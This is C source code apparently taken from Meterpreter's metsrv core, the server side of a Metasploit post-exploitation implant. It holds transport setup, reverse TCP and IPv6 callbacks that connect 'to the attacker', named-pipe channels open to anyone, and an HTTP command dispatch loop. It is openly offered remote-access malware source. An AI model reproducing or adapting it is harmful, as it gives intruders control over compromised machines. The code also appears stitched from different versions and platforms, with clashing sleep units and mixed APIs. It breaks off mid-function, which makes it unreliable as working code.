/*!
* @brief Update the timeouts with the given values
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the request packet.
* @returns Indication of success or failure.
* @remark If no values are given, no updates are made. The response to
* this message is the new/current settings.
*/
DWORD remote_request_core_transport_set_timeouts(Remote * remote, Packet * packet)
{
DWORD result = ERROR_SUCCESS;
Packet* response = NULL;
do {
response = packet_create_response(packet);
if (!response) {
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
int expirationTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP);
int commsTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT);
DWORD retryTotal = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL);
DWORD retryWait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT);
// TODO: put this in a helper function that can be used everywhere?
// if it's in the past, that's fine, but 0 implies not set
if (expirationTimeout != 0) {
dprintf("[DISPATCH TIMEOUT] setting expiration time to %d", expirationTimeout);
remote->sess_expiry_time = expirationTimeout;
remote->sess_expiry_end = current_unix_timestamp() + expirationTimeout;
}
if (commsTimeout != 0) {
dprintf("[DISPATCH TIMEOUT] setting comms timeout to %d", commsTimeout);
remote->transport->timeouts.comms = commsTimeout;
remote->transport->comms_last_packet = current_unix_timestamp();
}
if (retryTotal > 0) {
dprintf("[DISPATCH TIMEOUT] setting retry total to %u", retryTotal);
remote->transport->timeouts.retry_total = retryTotal;
}
if (retryWait > 0) {
dprintf("[DISPATCH TIMEOUT] setting retry wait to %u", retryWait);
remote->transport->timeouts.retry_wait = retryWait;
}
// for the session expiry, return how many seconds are left before the session actually expires
packet_add_tlv_uint(response, TLV_TYPE_TRANS_SESSION_EXP, remote->sess_expiry_end - current_unix_timestamp());
packet_add_tlv_uint(response, TLV_TYPE_TRANS_COMM_TIMEOUT, remote->transport->timeouts.comms);
packet_add_tlv_uint(response, TLV_TYPE_TRANS_RETRY_TOTAL, remote->transport->timeouts.retry_total);
packet_add_tlv_uint(response, TLV_TYPE_TRANS_RETRY_WAIT, remote->transport->timeouts.retry_wait);
} while (0);
if (response) {
packet_transmit_response(result, remote, response);
}
return result;
}
/*!
* @brief Connects to a provided host/port (IPv6), downloads a payload and executes it.
* @param host String containing the name or IP of the host to connect to.
* @param service The target service/port.
* @param scopeId IPv6 scope ID.
* @param retryTotal The number of seconds to continually retry for.
* @param retryWait The number of seconds between each connect attempt.
* @return Indication of success or failure.
*/
static DWORD reverse_tcp6(const char* host, const char* service, ULONG scopeId, DWORD retryTotal, DWORD retryWait, SOCKET* socketBuffer)
{
int start;
DWORD result = ERROR_SUCCESS;
SOCKET socketHandle;
struct addrinfo hints = { 0 };
*socketBuffer = 0;
hints.ai_family = AF_INET6;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
struct addrinfo* addresses;
if (getaddrinfo(host, service, &hints, &addresses) != 0)
{
return errno;
}
// prepare to connect to the attacker
socketHandle = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
if (socketHandle == INVALID_SOCKET)
{
dprintf("[STAGELESS IPV6] failed to connect to attacker");
return errno;
}
start = current_unix_timestamp();
do
{
struct addrinfo* address = NULL;
int retryStart = current_unix_timestamp();
for (address = addresses; address != NULL; address = address->ai_next)
{
((struct sockaddr_in6*)address->ai_addr)->sin6_scope_id = scopeId;
if (connect(socketHandle, address->ai_addr, (int)address->ai_addrlen) != SOCKET_ERROR)
{
dprintf("[STAGELESS IPV6] Socket successfully connected");
*socketBuffer = socketHandle;
freeaddrinfo(addresses);
return ERROR_SUCCESS;
}
}
dprintf("[TCP RUN] Connection failed, sleeping for %u s", retryWait);
sleep(retryWait);
} while (((DWORD)current_unix_timestamp() - (DWORD)start) < retryTotal);
closesocket(socketHandle);
freeaddrinfo(addresses);
return errno;
}
/*!
* @brief Configure bind named pipe connnection.
* @param pipe_name to create
* @param timeouts
* @return handle to connected pipe or INVALID_HANDLE_VALUE on error
*/
static HANDLE bind_named_pipe(wchar_t *pipe_name, TimeoutSettings *timeouts)
{
DWORD result = ERROR_SUCCESS;
BOOL wasEnabled;
HANDLE hPipe = INVALID_HANDLE_VALUE;
DWORD toggleResult = toggle_privilege(SE_SECURITY_NAME, TRUE, &wasEnabled);
if (toggleResult == ERROR_SUCCESS)
{
SECURITY_ATTRIBUTES sa = { 0 };
create_pipe_security_attributes(&sa); // allow access anyone
hPipe = CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES,
STUPID_PIPE_BUFFER_LIMIT, STUPID_PIPE_BUFFER_LIMIT, 0, &sa);
result = GetLastError();
if (wasEnabled == FALSE)
{
toggle_privilege(SE_SECURITY_NAME, FALSE, &wasEnabled);
}
}
if (hPipe == INVALID_HANDLE_VALUE)
{
// Fallback on a pipe with simpler security attributes
hPipe = CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES,
STUPID_PIPE_BUFFER_LIMIT, STUPID_PIPE_BUFFER_LIMIT, 0, NULL);
result = GetLastError();
}
if (hPipe == INVALID_HANDLE_VALUE)
{
dprintf("[NP CONFIGURE] failed to create pipe: %u 0x%x", result, result);
return INVALID_HANDLE_VALUE;
}
int start = current_unix_timestamp();
do
{
if (ConnectNamedPipe(hPipe, NULL))
{
return hPipe;
}
result = GetLastError();
if (result == ERROR_PIPE_CONNECTED)
{
return hPipe;
}
dprintf("[NP CONFIGURE] Failed to connect pipe: %u 0x%x", result, result);
dprintf("[NP CONFIGURE] Trying again in %u s", 1);
sleep(1);
} while (((DWORD)current_unix_timestamp() - (DWORD)start) < timeouts->retry_total);
CloseHandle(hPipe);
return INVALID_HANDLE_VALUE;
}
/*!
* @brief Creates a new TCP transport instance.
* @param url URL containing the transport details.
* @param timeouts The timeout values to use for this transport.
* @return Pointer to the newly configured/created TCP transport instance.
*/
static Transport* transport_create_tcp(MetsrvTransportTcp* config) {
Transport* transport = (Transport*)malloc(sizeof(Transport));
TcpTransportContext* ctx = (TcpTransportContext*)malloc(sizeof(TcpTransportContext));
dprintf("[TRANS TCP] Creating tcp transport for url %s", config->common.url);
memset(transport, 0, sizeof(Transport));
memset(ctx, 0, sizeof(TcpTransportContext));
transport->type = METERPRETER_TRANSPORT_SSL;
transport->timeouts.comms = config->common.comms_timeout;
transport->timeouts.retry_total = config->common.retry_total;
transport->timeouts.retry_wait = config->common.retry_wait;
transport->url = strdup(config->common.url);
transport->packet_transmit = packet_transmit_via_ssl;
transport->transport_init = configure_tcp_connection;
transport->transport_deinit = server_destroy_ssl;
transport->transport_destroy = transport_destroy_tcp;
transport->transport_reset = transport_reset_tcp;
transport->server_dispatch = server_dispatch_tcp;
transport->get_socket = transport_get_socket_tcp;
transport->ctx = ctx;
transport->comms_last_packet = current_unix_timestamp();
return transport;
}
/*!
* @brief Creates a new named pipe transport instance.
* @param config The Named Pipe configuration block.
* @param size Pointer to the size of the parsed config block.
* @return Pointer to the newly configured/created Named Pipe transport instance.
*/
Transport* transport_create_named_pipe(MetsrvTransportNamedPipe* config, LPDWORD size)
{
Transport* transport = (Transport*)calloc(1, sizeof(Transport));
NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)calloc(1, sizeof(NamedPipeTransportContext));
if (size)
{
*size = sizeof(MetsrvTransportNamedPipe);
}
// Lock used to synchronise writes
ctx->write_lock = lock_create();
dprintf("[TRANS NP] Creating pipe transport for url %S", config->common.url);
transport->type = METERPRETER_TRANSPORT_PIPE;
transport->timeouts.comms = config->common.comms_timeout;
transport->timeouts.retry_total = config->common.retry_total;
transport->timeouts.retry_wait = config->common.retry_wait;
transport->url = _wcsdup(config->common.url);
transport->packet_transmit = packet_transmit_named_pipe;
transport->transport_init = configure_named_pipe_connection;
transport->transport_destroy = transport_destroy_named_pipe;
transport->transport_reset = transport_reset_named_pipe;
transport->server_dispatch = server_dispatch_named_pipe;
transport->get_handle = transport_get_handle_named_pipe;
transport->set_handle = transport_set_handle_named_pipe;
transport->ctx = ctx;
transport->comms_last_packet = current_unix_timestamp();
transport->get_migrate_context = get_migrate_context_named_pipe;
transport->get_config_size = transport_get_config_size_named_pipe;
return transport;
}
static void config_create(Remote* remote, MetsrvConfig** config, LPDWORD size) {
// This function is really only used for migration purposes.
DWORD s = sizeof(MetsrvSession);
MetsrvSession* sess = (MetsrvSession*)malloc(s);
memset(sess, 0, s);
dprintf("[CONFIG] preparing the configuration");
// start by preparing the session.
memcpy(sess->uuid, remote->orig_config->session.uuid, UUID_SIZE);
sess->expiry = remote->sess_expiry_end - current_unix_timestamp();
// TOOD: figure what we should be doing for POSIX here.
sess->exit_func = 0;
Transport* current = remote->transport;
Transport* t = remote->transport;
do {
// extend memory appropriately
DWORD neededSize = t->type == METERPRETER_TRANSPORT_SSL ? sizeof(MetsrvTransportTcp) : sizeof(MetsrvTransportHttp);
dprintf("[CONFIG] Allocating %u bytes for %s transport, total of %u bytes", neededSize, t->type == METERPRETER_TRANSPORT_SSL ? "ssl" : "http/s", s);
sess = (MetsrvSession*)realloc(sess, s + neededSize);
// load up the transport specifics
LPBYTE target = (LPBYTE)sess + s;
memset(target, 0, neededSize);
s += neededSize;
if (t->type == METERPRETER_TRANSPORT_SSL) {
transport_write_tcp_config(t, (MetsrvTransportTcp*)target);
dprintf("[CONFIG] TCP Comms Timeout: %d", ((MetsrvTransportTcp*)target)->common.comms_timeout);
dprintf("[CONFIG] TCP Retry Total: %d", ((MetsrvTransportTcp*)target)->common.retry_total);
dprintf("[CONFIG] TCP Retry Wait: %d", ((MetsrvTransportTcp*)target)->common.retry_wait);
dprintf("[CONFIG] TCP URL: %s", ((MetsrvTransportTcp*)target)->common.url);
// if the current transport is TCP, copy the socket fd over so that migration can use it.
if (t == current) {
sess->comms_fd = (DWORD)t->get_socket(t);
}
}
t = t->next_transport;
} while (t != current);
// account for the last terminating NULL wchar so that the target knows the list has reached the end,
// as well as the end of the extensions list. We may support wiring up existing extensions later on.
DWORD terminatorSize = sizeof(wchar_t) + sizeof(DWORD);
sess = (MetsrvSession*)realloc(sess, s + terminatorSize);
memset((LPBYTE)sess + s, 0, terminatorSize);
s += terminatorSize;
// hand off the data
dprintf("[CONFIG] Total of %u bytes located at 0x%p", s, sess);
*size = s;
*config = (MetsrvConfig*)sess;
}
DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** transportBufer)
{
DWORD result = ERROR_NOT_ENOUGH_MEMORY;
Transport* transport = NULL;
char* transportUrl = packet_get_tlv_value_string(packet, TLV_TYPE_TRANS_URL);
TimeoutSettings timeouts = { 0 };
int sessionExpiry = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP);
timeouts.comms = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT);
timeouts.retry_total = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL);
timeouts.retry_wait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT);
// special case, will still leave this in here even if it's not transport related
if (sessionExpiry != 0) {
remote->sess_expiry_time = sessionExpiry;
remote->sess_expiry_end = current_unix_timestamp() + remote->sess_expiry_time;
}
if (timeouts.comms == 0) {
timeouts.comms = remote->transport->timeouts.comms;
}
if (timeouts.retry_total == 0) {
timeouts.retry_total = remote->transport->timeouts.retry_total;
}
if (timeouts.retry_wait == 0) {
timeouts.retry_wait = remote->transport->timeouts.retry_wait;
}
dprintf("[CHANGE TRANS] Url: %s", transportUrl);
dprintf("[CHANGE TRANS] Comms: %d", timeouts.comms);
dprintf("[CHANGE TRANS] Retry Total: %u", timeouts.retry_total);
dprintf("[CHANGE TRANS] Retry Wait: %u", timeouts.retry_wait);
do {
if (transportUrl == NULL) {
dprintf("[CHANGE TRANS] Something was NULL");
break;
}
if (strncmp(transportUrl, "tcp", 3) == 0) {
MetsrvTransportTcp config = { 0 };
config.common.comms_timeout = timeouts.comms;
config.common.retry_total = timeouts.retry_total;
config.common.retry_wait = timeouts.retry_wait;
memcpy(config.common.url, transportUrl, sizeof(config.common.url));
transport = remote->trans_create(remote, &config.common, NULL);
}
// tell the server dispatch to exit, it should pick up the new transport
result = ERROR_SUCCESS;
} while (0);
*transportBufer = transport;
return result;
}
/*!
* @brief Perform the reverse_tcp connect.
* @param reverseSocket The existing socket that refers to the remote host connection, closed on failure.
* @param sockAddr The SOCKADDR structure which contains details of the connection.
* @param sockAddrSize The size of the \c sockAddr structure.
* @param retryTotal The number of seconds to continually retry for.
* @param retryWait The number of seconds between each connect attempt.
* @return Indication of success or failure.
*/
static DWORD reverse_tcp_run(SOCKET reverseSocket, struct sockaddr* sockAddr, int sockAddrSize, DWORD retryTotal, DWORD retryWait)
{
DWORD result = ERROR_SUCCESS;
int start = current_unix_timestamp();
do {
int retryStart = current_unix_timestamp();
if ((result = connect(reverseSocket, sockAddr, sockAddrSize)) != SOCKET_ERROR) {
break;
}
dprintf("[TCP RUN] Connection failed, sleeping for %u s", retryWait);
sleep(retryWait * 1000);
} while (((DWORD)current_unix_timestamp() - (DWORD)start) < retryTotal);
if (result == SOCKET_ERROR) {
closesocket(reverseSocket);
}
return result;
}
/*!
* @brief Configure reverse named pipe connnection.
* @param pipe_name to connect to
* @param timeouts
* @return handle to connected pipe or INVALID_HANDLE_VALUE on error
*/
static HANDLE reverse_named_pipe(wchar_t *pipe_name, TimeoutSettings *timeouts)
{
DWORD result = ERROR_SUCCESS;
HANDLE hPipe = INVALID_HANDLE_VALUE;
int start = current_unix_timestamp();
do
{
dprintf("[NP CONFIGURE] pipe name is %S, attempting to create", pipe_name);
hPipe = CreateFileW(pipe_name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hPipe != INVALID_HANDLE_VALUE)
{
break;
}
hPipe = INVALID_HANDLE_VALUE;
result = GetLastError();
dprintf("[NP CONFIGURE] failed to create pipe: %u 0x%x", result, result);
dprintf("[NP CONFIGURE] Connection failed, sleeping for %u s", timeouts->retry_wait);
sleep(timeouts->retry_wait);
} while (((DWORD)current_unix_timestamp() - (DWORD)start) < timeouts->retry_total);
return hPipe;
}
DWORD remote_request_core_transport_list(Remote* remote, Packet* packet)
{
DWORD result = ERROR_SUCCESS;
Packet* response = NULL;
do
{
response = packet_create_response(packet);
if (!response)
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Add the session timeout to the top level
packet_add_tlv_uint(response, TLV_TYPE_TRANS_SESSION_EXP, remote->sess_expiry_end - current_unix_timestamp());
Transport* current = remote->transport;
Transport* first = remote->transport;
do
{
Packet* transportGroup = packet_create_group();
if (!transportGroup)
{
// bomb out, returning what we have so far.
break;
}
dprintf("[DISPATCH] Adding URL %S", current->url);
packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_URL, current->url);
dprintf("[DISPATCH] Adding Comms timeout %u", current->timeouts.comms);
packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_COMM_TIMEOUT, current->timeouts.comms);
dprintf("[DISPATCH] Adding Retry total %u", current->timeouts.retry_total);
packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_TOTAL, current->timeouts.retry_total);
dprintf("[DISPATCH] Adding Retry wait %u", current->timeouts.retry_wait);
packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_WAIT, current->timeouts.retry_wait);
if (current->type != METERPRETER_TRANSPORT_SSL)
{
HttpTransportContext* ctx = (HttpTransportContext*)current->ctx;
dprintf("[DISPATCH] Transport is HTTP/S");
if (ctx->ua)
{
packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_UA, ctx->ua);
}
if (ctx->proxy)
{
packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_HOST, ctx->proxy);
}
if (ctx->proxy_user)
{
packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_USER, ctx->proxy_user);
}
if (ctx->proxy_pass)
{
packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_PASS, ctx->proxy_pass);
}
if (ctx->cert_hash)
{
packet_add_tlv_raw(transportGroup, TLV_TYPE_TRANS_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE);
}
}
packet_add_group(response, TLV_TYPE_TRANS_GROUP, transportGroup);
current = current->next_transport;
} while (first != current);
} while (0);
if (response)
{
packet_transmit_response(result, remote, response);
}
return result;
}
/*!
* @brief The servers main NP DISPATCH loop for incoming requests using SSL over named pipes.
* @param remote Pointer to the remote endpoint for this server connection.
* @param dispatchThread Pointer to the main NP DISPATCH thread.
* @returns Indication of success or failure.
*/
static DWORD server_dispatch_named_pipe(Remote* remote, THREAD* dispatchThread)
{
Transport* transport = remote->transport;
BOOL running = TRUE;
LONG result = ERROR_SUCCESS;
Packet * packet = NULL;
THREAD * cpt = NULL;
dprintf("[NP DISPATCH] entering server_dispatch( 0x%08X )", remote);
int lastPacket = current_unix_timestamp();
while (running)
{
if (event_poll(dispatchThread->sigterm, 0))
{
dprintf("[NP DISPATCH] server dispatch thread signaled to terminate...");
break;
}
result = server_pipe_poll(remote, 500);
if (result == ERROR_SUCCESS)
{
result = packet_receive_named_pipe(remote, &packet);
if (result != ERROR_SUCCESS)
{
dprintf("[NP DISPATCH] packet_receive returned %d, exiting dispatcher...", result);
break;
}
if (packet)
{
running = command_handle(remote, packet);
dprintf("[NP DISPATCH] command_process result: %s", (running ? "continue" : "stop"));
}
else
{
dprintf("[NP DISPATCH] Received NULL packet, could be metsrv being ignored");
}
// packet received, reset the timer
lastPacket = current_unix_timestamp();
}
else if (result != ERROR_BROKEN_PIPE)
{
// check if the communication has timed out, or the session has expired, so we should terminate the session
int now = current_unix_timestamp();
if (now > remote->sess_expiry_end)
{
result = ERROR_SUCCESS;
dprintf("[NP DISPATCH] session has ended");
break;
}
else if ((now - lastPacket) > transport->timeouts.comms)
{
result = ERROR_NETWORK_NOT_AVAILABLE;
dprintf("[NP DISPATCH] communications has timed out");
break;
}
}
else
{
dprintf("[NP DISPATCH] server_pipe_poll returned %d, exiting dispatcher...", result);
break;
}
}
dprintf("[NP DISPATCH] leaving server_dispatch.");
return result;
}
/*
* The servers main dispatch loop for incoming requests using SSL over TCP
*/
static DWORD server_dispatch_http_wininet( Remote * remote )
{
LONG result = ERROR_SUCCESS;
Packet * packet = NULL;
THREAD * cpt = NULL;
URL_COMPONENTS bits;
DWORD ecount = 0;
DWORD delay = 0;
char tmpHostName[512];
char tmpUrlPath[1024];
if (global_expiration_timeout > 0)
remote->expiration_time = current_unix_timestamp() + global_expiration_timeout;
else
remote->expiration_time = 0;
remote->comm_timeout = global_comm_timeout;
remote->start_time = current_unix_timestamp();
remote->comm_last_packet = current_unix_timestamp();
// Allocate the top-level handle
if (!strcmp(global_meterpreter_proxy,"METERPRETER_PROXY")) {
remote->hInternet = InternetOpen(global_meterpreter_ua, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
}
else {
remote->hInternet = InternetOpen(global_meterpreter_ua, INTERNET_OPEN_TYPE_PROXY, global_meterpreter_proxy, NULL, 0);
} if (!remote->hInternet) {
dprintf("[DISPATCH] Failed InternetOpen: %d", GetLastError());
return 0;
}
dprintf("[DISPATCH] Configured hInternet: 0x%.8x", remote->hInternet);
// The InternetCrackUrl method was poorly designed...
memset(tmpHostName, 0, sizeof(tmpHostName));
memset(tmpUrlPath, 0, sizeof(tmpUrlPath));
memset(&bits, 0, sizeof(bits));
bits.dwStructSize = sizeof(bits);
bits.dwHostNameLength = sizeof(tmpHostName) -1;
bits.lpszHostName = tmpHostName;
bits.dwUrlPathLength = sizeof(tmpUrlPath) -1;
bits.lpszUrlPath = tmpUrlPath;
InternetCrackUrl(remote->url, 0, 0, &bits);
remote->uri = _strdup(tmpUrlPath);
dprintf("[DISPATCH] Configured URL: %s", remote->uri);
dprintf("[DISPATCH] Host: %s Port: %u", tmpHostName, bits.nPort);
// Allocate the connection handle
remote->hConnection = InternetConnect(remote->hInternet, tmpHostName, bits.nPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (!remote->hConnection) {
dprintf("[DISPATCH] Failed InternetConnect: %d", GetLastError());
return 0;
}
dprintf("[DISPATCH] Configured hConnection: 0x%.8x", remote->hConnection);
//authentication
if (!(strcmp(global_meterpreter_proxy_username, "METERPRETER_USERNAME_PROXY") == 0))
{
InternetSetOption(remote->hConnection, INTERNET_OPTION_PROXY_USERNAME, global_meterpreter_proxy_username, (DWORD)strlen(global_meterpreter_proxy_username)+1);
InternetSetOption(remote->hConnection, INTERNET_OPTION_PROXY_PASSWORD, global_meterpreter_proxy_password, (DWORD)strlen(global_meterpreter_proxy_password)+1);
dprintf("[DISPATCH] Proxy authentication configured : %s/%s", global_meterpreter_proxy_username, global_meterpreter_proxy_password);
}
// Bring up the scheduler subsystem.
result = scheduler_initialize( remote );
if( result != ERROR_SUCCESS )
return result;
while( TRUE )
{
if (remote->comm_timeout != 0 && remote->comm_last_packet + remote->comm_timeout < current_unix_timestamp()) {
dprintf("[DISPATCH] Shutting down server due to communication timeout");
break;
}
if (remote->expiration_time != 0 && remote->expiration_time < current_unix_timestamp()) {
dprintf("[DISPATCH] Shutting down server due to hardcoded expiration time");
dprintf("Timestamp: %u Expiration: %u", current_unix_timestamp(), remote->expiration_time);
break;
}
if( event_poll( serverThread->sigterm, 0 ) )
{
dprintf( "[DISPATCH] server dispatch thread signaled to terminate..." );
break;
}
dprintf("[DISPATCH] Reading data from the remote side...");
result = packet_receive( remote, &packet );
if( result != ERROR_SUCCESS ) {
// Update the timestamp for empty replies
if (result == ERROR_EMPTY)
remote->comm_last_packet = current_unix_timestamp();
if (ecount < 10)
delay = 10 * ecount;
else
delay = 100 * ecount;
ecount++;
dprintf("[DISPATCH] no pending packets, sleeping for %dms...", min(10000, delay));
Sleep( min(10000, delay) );
continue;
}
remote->comm_last_packet = current_unix_timestamp();
// Reset the empty count when we receive a packet
ecount = 0;
dprintf("[DISPATCH] Returned result: %d", result);
cpt = thread_create( command_process_thread, remote, packet );
if( cpt )
{
dprintf( "[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle );
thread_run( cpt );
}
}
// Close WinInet handles
InternetCloseHandle(remote->hConnection);
InternetCloseHandle(remote->hInternet);
dprintf( "[DISPATCH] calling scheduler_destroy..." );
scheduler_destroy();
dprintf( "[DISPATCH] calling command_join_threads..." );
command_join_threads();
dprintf( "[DISPATCH] leaving server_dispatch." );
return result;
}
/*!
* @brief Setup and run the server. This is called from Init via the loader.
* @param fd The original socket descriptor passed in from the stager, or a pointer to stageless extensions.
* @return Meterpreter exit code (ignored by the caller).
*/
DWORD server_setup(MetsrvConfig* config)
{
THREAD* serverThread = NULL;
Remote* remote = NULL;
char stationName[256] = { 0 };
char desktopName[256] = { 0 };
DWORD res = 0;
dprintf("[SERVER] Initializing from configuration: 0x%p", config);
dprintf("[SESSION] Comms Fd: %u", config->session.comms_fd);
dprintf("[SESSION] Expiry: %u", config->session.expiry);
dprintf("[SERVER] UUID: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x",
config->session.uuid[0], config->session.uuid[1], config->session.uuid[2], config->session.uuid[3],
config->session.uuid[4], config->session.uuid[5], config->session.uuid[6], config->session.uuid[7],
config->session.uuid[8], config->session.uuid[9], config->session.uuid[10], config->session.uuid[11],
config->session.uuid[12], config->session.uuid[13], config->session.uuid[14], config->session.uuid[15]);
// if hAppInstance is still == NULL it means that we havent been
// reflectivly loaded so we must patch in the hAppInstance value
// for use with loading server extensions later.
InitAppInstance();
srand((unsigned int)time(NULL));
__try
{
do
{
dprintf("[SERVER] module loaded at 0x%08X", hAppInstance);
// Open a THREAD item for the servers main thread, we use this to manage migration later.
serverThread = thread_open();
dprintf("[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", serverThread->handle, serverThread->id, serverThread->sigterm);
if (!(remote = remote_allocate()))
{
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
break;
}
setup_ssl_lib(&remote->ssl);
remote->orig_config = config;
remote->sess_expiry_time = config->session.expiry;
remote->sess_start_time = current_unix_timestamp();
remote->sess_expiry_end = remote->sess_start_time + config->session.expiry;
dprintf("[DISPATCH] Session going for %u seconds from %u to %u", remote->sess_expiry_time, remote->sess_start_time, remote->sess_expiry_end);
DWORD transportSize = 0;
if (!create_transports(remote, config->transports, &transportSize))
{
// not good, bail out!
SetLastError(ERROR_BAD_ARGUMENTS);
break;
}
// the first transport should match the transport that we initially connected on.
// If it's TCP comms, we need to wire that up.
if (remote->transport->type == METERPRETER_TRANSPORT_SSL && config->session.comms_fd)
{
((TcpTransportContext*)remote->transport->ctx)->fd = (SOCKET)config->session.comms_fd;
}
// Set up the transport creation function pointer
remote->trans_create = create_transport;
// Set up the transport removal function pointer
remote->trans_remove = remove_transport;
// and the config creation pointer
remote->config_create = config_create;
// Store our thread handle
remote->server_thread = serverThread->handle;
dprintf("[SERVER] Registering dispatch routines...");
register_dispatch_routines();
// this has to be done after dispatch routine are registered
load_stageless_extensions(remote, (MetsrvExtension*)((LPBYTE)config->transports + transportSize));
// Store our process token
if (!OpenThreadToken(remote->server_thread, TOKEN_ALL_ACCESS, TRUE, &remote->server_token))
{
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &remote->server_token);
}
if (scheduler_initialize(remote) != ERROR_SUCCESS)
{
SetLastError(ERROR_BAD_ENVIRONMENT);
break;
}
// Copy it to the thread token
remote->thread_token = remote->server_token;
// Save the initial session/station/desktop names...
remote->orig_sess_id = server_sessionid();
remote->curr_sess_id = remote->orig_sess_id;
GetUserObjectInformation(GetProcessWindowStation(), UOI_NAME, &stationName, 256, NULL);
remote->orig_station_name = _strdup(stationName);
remote->curr_station_name = _strdup(stationName);
GetUserObjectInformation(GetThreadDesktop(GetCurrentThreadId()), UOI_NAME, &desktopName, 256, NULL);
remote->orig_desktop_name = _strdup(desktopName);
remote->curr_desktop_name = _strdup(desktopName);
remote->sess_start_time = current_unix_timestamp();
// loop through the transports, reconnecting each time.
while (remote->transport)
{
if (remote->transport->transport_init)
{
dprintf("[SERVER] attempting to initialise transport 0x%p", remote->transport);
// Each transport has its own set of retry settings and each should honour
// them individually.
if (!remote->transport->transport_init(remote->transport))
{
dprintf("[SERVER] transport initialisation failed, moving to the next transport");
remote->transport = remote->transport->next_transport;
// when we have a list of transports, we'll iterate to the next one.
continue;
}
}
dprintf("[SERVER] Entering the main server dispatch loop for transport %x, context %x", remote->transport, remote->transport->ctx);
DWORD dispatchResult = remote->transport->server_dispatch(remote, serverThread);
dprintf("[DISPATCH] dispatch exited with result: %u", dispatchResult);
if (remote->transport->transport_deinit)
{
dprintf("[DISPATCH] deinitialising transport");
remote->transport->transport_deinit(remote->transport);
}
dprintf("[TRANS] resetting transport");
if (remote->transport->transport_reset)
{
remote->transport->transport_reset(remote->transport, dispatchResult == ERROR_SUCCESS && remote->next_transport == NULL);
}
// If the transport mechanism failed, then we should loop until we're able to connect back again.
if (dispatchResult == ERROR_SUCCESS)
{
dprintf("[DISPATCH] Server requested shutdown of dispatch");
// But if it was successful, and this is a valid exit, then we should clean up and leave.
if (remote->next_transport == NULL)
{
dprintf("[DISPATCH] No next transport specified, leaving");
// we weren't asked to switch transports, so we exit.
break;
}
// we need to change transports to the one we've been given. We will assume, for now,
// that the transport has been created using the appropriate functions and that it is
// part of the transport list.
dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->next_transport);
remote->transport = remote->next_transport;
remote->next_transport = NULL;
}
else
{
// move to the next one in the list
dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->transport->next_transport);
remote->transport = remote->transport->next_transport;
}
// transport switching and failover both need to support the waiting functionality.
if (remote->next_transport_wait > 0)
{
dprintf("[TRANS] Sleeping for %u seconds ...", remote->next_transport_wait);
sleep(remote->next_transport_wait);
// the wait is a once-off thing, needs to be reset each time
remote->next_transport_wait = 0;
}
}
// clean up the transports
while (remote->transport)
{
remove_transport(remote, remote->transport);
}
dprintf("[SERVER] Deregistering dispatch routines...");
deregister_dispatch_routines(remote);
} while (0);
dprintf("[DISPATCH] calling scheduler_destroy...");
scheduler_destroy();
dprintf("[DISPATCH] calling command_join_threads...");
command_join_threads();
remote_deallocate(remote);
}
__except (exceptionfilter(GetExceptionCode(), GetExceptionInformation()))
{
dprintf("[SERVER] *** exception triggered!");
thread_kill(serverThread);
}
dprintf("[SERVER] Finished.");
return res;
}
/*!
* @brief Create an HTTP(S) transport from the given settings.
* @param config Pointer to the HTTP configuration block.
* @param size Pointer to the size of the parsed config block.
* @param config Pointer to the HTTP configuration block.
* @return Pointer to the newly configured/created HTTP(S) transport instance.
*/
Transport* transport_create_http(MetsrvTransportHttp* config, LPDWORD size)
{
Transport* transport = (Transport*)malloc(sizeof(Transport));
HttpTransportContext* ctx = (HttpTransportContext*)malloc(sizeof(HttpTransportContext));
if (size)
{
*size = sizeof(MetsrvTransportHttp);
}
dprintf("[TRANS HTTP] Creating http transport for url %S", config->common.url);
memset(transport, 0, sizeof(Transport));
memset(ctx, 0, sizeof(HttpTransportContext));
dprintf("[TRANS HTTP] Given ua: %S", config->ua);
if (config->ua[0])
{
ctx->ua = _wcsdup(config->ua);
}
dprintf("[TRANS HTTP] Given proxy host: %S", config->proxy.hostname);
if (config->proxy.hostname[0])
{
